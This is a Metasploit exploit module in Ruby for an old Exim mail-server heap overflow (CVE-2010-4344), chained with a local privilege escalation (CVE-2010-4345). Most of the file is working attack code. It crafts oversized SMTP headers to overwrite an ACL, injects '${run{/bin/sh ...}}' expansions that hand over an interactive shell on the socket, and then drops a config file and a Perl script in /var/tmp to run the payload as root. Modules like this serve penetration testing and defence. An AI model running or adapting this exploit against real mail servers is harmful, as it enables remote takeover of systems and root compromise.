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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Smtp
def initialize(info = {})
super(update_info(info,
'Name' => 'Exim4 string_format Function Heap Buffer Overflow',
'Description' => %q{
This module exploits a heap buffer overflow within versions of Exim prior to
version 4.69. By sending a specially crafted message, an attacker can corrupt the
heap and execute arbitrary code with the privileges of the Exim daemon.
The root cause is that no check is made to ensure that the buffer is not full
prior to handling '%s' format specifiers within the 'string_vformat' function.
In order to trigger this issue, we get our message rejected by sending a message
that is too large. This will call into log_write to log rejection headers (which
is a default configuration setting). After filling the buffer, a long header
string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL
FROM' command. By sending a second message, the string we sent will be evaluated
with 'expand_string' and arbitrary shell commands can be executed.
It is likely that this issue could also be exploited using other techniques such
as targeting in-band heap management structures, or perhaps even function pointers
stored in the heap. However, these techniques would likely be far more platform
specific, more complicated, and less reliable.
This bug was original found and reported in December 2008, but was not
properly handled as a security issue. Therefore, there was a 2 year lag time
between when the issue was fixed and when it was discovered being exploited
in the wild. At that point, the issue was assigned a CVE and began being
addressed by downstream vendors.
An additional vulnerability, CVE-2010-4345, was also used in the attack that
led to the discovery of danger of this bug. This bug allows a local user to
gain root privileges from the Exim user account. If the Perl interpreter is
found on the remote system, this module will automatically exploit the
secondary bug as well to get root.
},
'Author' => [ 'jduck', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-4344' ],
[ 'CVE', '2010-4345' ],
[ 'OSVDB', '69685' ],
[ 'OSVDB', '69860' ],
[ 'BID', '45308' ],
[ 'BID', '45341' ],
[ 'URL', 'http://seclists.org/oss-sec/2010/q4/311' ],
[ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],
[ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],
[ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 8192, # much more in reality, but w/e
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic', { } ],
],
# Originally discovered/reported Dec 2 2008
'DisclosureDate' => 'Dec 7 2010', # as an actual security bug
'DefaultTarget' => 0))
register_options(
[
OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']),
OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']),
OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ])
])
register_advanced_options(
[
OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),
OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false])
])
end
def exploit
#
# Connect and grab the banner
#
ehlo = datastore['EHLO_NAME']
ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com"
print_status("Connecting to #{rhost}:#{rport} ...")
connect
print_status("Server: #{self.banner.to_s.strip}")
if self.banner.to_s !~ /Exim /
disconnect
fail_with(Failure::NoTarget, "The target server is not running Exim!")
end
if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")
end
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
ehlo_resp.each_line do |line|
print_status("EHLO: #{line.strip}")
end
#
# Determine the maximum message size
#
max_msg = 52428800
if ehlo_resp.to_s =~ /250-SIZE (\d+)/
max_msg = $1.to_i
end
#
# Determine what hostname the server sees
#
saddr = nil
revdns = nil
if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/
revdns = $1
saddr = $2
end
source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')
print_status("Determined our hostname is #{revdns} and IP address is #{source}")
#
# Initiate the message
#
from = datastore['MAILFROM']
to = datastore['MAILTO']
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
resp ||= 'no response'
msg = "MAIL: #{resp.strip}"
if not resp or resp[0,3] != '250'
fail_with(Failure::Unknown, msg)
else
print_status(msg)
end
resp = raw_send_recv("RCPT TO: #{to}\r\n")
resp ||= 'no response'
msg = "RCPT: #{resp.strip}"
if not resp or resp[0,3] != '250'
fail_with(Failure::Unknown, msg)
else
print_status(msg)
end
resp = raw_send_recv("DATA\r\n")
resp ||= 'no response'
msg = "DATA: #{resp.strip}"
if not resp or resp[0,3] != '354'
fail_with(Failure::Unknown, msg)
else
print_status(msg)
end
#
# Calculate the headers
#
msg_len = max_msg + (1024*256) # just for good measure
log_buffer_size = 8192
host_part = "H="
if revdns and revdns != ehlo
host_part << revdns << " "
end
host_part << "(#{ehlo})"
# The initial headers will fill up the 'log_buffer' variable in 'log_write' function
print_status("Constructing initial headers ...")
log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: "
log_buffer << "message too big: read=#{msg_len} max=#{max_msg}\n"
log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"
# We want 2 bytes left, so we subtract from log_buffer_size here
log_buffer_size -= 3 # account for the nul termination too
# Now, " " + hdrline for each header
hdrs = []
while log_buffer.length < log_buffer_size
header_name = rand_text_alpha(10).capitalize
filler = rand_text_alphanumeric(8 * 16)
hdr = "#{header_name}: #{filler}\n"
one = (2 + hdr.length)
two = 2 * one
left = log_buffer_size - log_buffer.length
if left < two and left > one
left -= 4 # the two double spaces
first = left / 2
hdr = hdr.slice(0, first - 1) + "\n"
hdrs << hdr
log_buffer << " " << hdr
second = left - first
header_name = rand_text_alpha(10).capitalize
filler = rand_text_alphanumeric(8 * 16)
hdr = "#{header_name}: #{filler}\n"
hdr = hdr.slice(0, second - 1) + "\n"
end
hdrs << hdr
log_buffer << " " << hdr
end
hdrs1 = hdrs.join
# This header will smash various heap stuff, hopefully including the ACL
header_name = Rex::Text.rand_text_alpha(7).capitalize
print_status("Constructing HeaderX ...")
hdrx = "#{header_name}: "
1.upto(50) { |a|
3.upto(12) { |b|
hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "
}
}
# In order to trigger the overflow, we must get our message rejected.
# To do so, we send a message that is larger than the maximum.
print_status("Constructing body ...")
body = ''
fill = (Rex::Text.rand_text_alphanumeric(254) + "\r\n") * 16384
while(body.length < msg_len)
body << fill
end
body = body[0, msg_len]
print_status("Sending #{msg_len / (1024*1024)} megabytes of data...")
sock.put hdrs1
sock.put hdrx
sock.put "\r\n"
sock.put body
print_status("Ending first message.")
buf = raw_send_recv("\r\n.\r\n")
# Should be: "552 Message size exceeds maximum permitted\r\n"
print_status("Result: #{buf.inspect}") if buf
second_result = ""
print_status("Sending second message ...")
buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
# Should be: "sh-x.x$ " !!
if buf
print_status("MAIL result: #{buf.inspect}")
second_result << buf
end
buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
# Should be: "sh: RCPT: command not found\n"
if buf
print_status("RCPT result: #{buf.inspect}")
second_result << buf
end
# Clear pending output from the socket
buf = sock.get_once(-1, 1.0)
second_result << buf if buf
sock.put("source /etc/profile >/dev/null 2>&1\n")
buf = sock.get_once(-1, 2.0)
second_result << buf if buf
# Check output for success
if second_result !~ /(MAIL|RCPT|sh: |sh-[0-9]+)/
print_error("Second result: #{second_result.inspect}")
fail_with(Failure::Unknown, 'Something went wrong, perhaps this host is patched?')
end
resp = ''
if not datastore['SkipEscalation']
print_status("Looking for Perl to facilitate escalation...")
# Check for Perl as a way to escalate our payload
sock.put("perl -V\n")
select(nil, nil, nil, 3.0)
resp = sock.get_once(-1, 10.0)
end
if resp !~ /Summary of my perl/
print_status("Should have a shell now, sending payload...")
buf = raw_send_recv("\n" + payload.encoded + "\n\n")
if buf
if buf =~ /554 SMTP synchronization error/
print_error("This target may be patched: #{buf.strip}")
else
print_status("Payload result: #{buf.inspect}")
end
end
else
print_status("Perl binary detected, attempt to escalate...")
token = Rex::Text.rand_text_alpha(8)
# Flush the output from the shell
sock.get_once(-1, 0.1)
# Find the perl interpreter path
sock.put("which perl;echo #{token}\n")
buff = ""
cnt =
while not buff.index(token)
res = sock.get_once(-1, 0.25)
buff << res if res
end
perl_path = buff.gsub(token, "").gsub(/\/perl.*/m, "/perl").strip
print_status("Using Perl interpreter at #{perl_path}...")
temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
temp_perl = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
temp_eof = Rex::Text.rand_text_alpha(8)
print_status("Creating temporary files #{temp_conf} and #{temp_perl}...")
data_conf = "spool_directory = ${run{#{perl_path} #{temp_perl}}}\n".unpack("H*")[0]
sock.put("perl -e 'print pack qq{H*},shift' #{data_conf} > #{temp_conf}\n")
data_perl = "#!/usr/bin/perl\n$) = $( = $> = $< = 0; system<DATA>;\n__DATA__\n#{payload.encoded}\n".unpack("H*")[0]
sock.put("perl -e 'print pack qq{H*},shift' #{data_perl} > #{temp_perl}\n")
print_status("Attempting to execute payload as root...")
sock.put("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin exim -C#{temp_conf} -q\n")
end
# Give some time for the payload to be consumed
select(nil, nil, nil, 4)
handler
disconnect
end
end